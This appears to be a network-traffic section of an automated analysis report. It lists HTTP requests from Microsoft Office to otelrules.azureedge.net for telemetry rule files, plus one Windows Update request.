Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GhlgeS7zsvE4lXZ&MD=FvGd25on HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
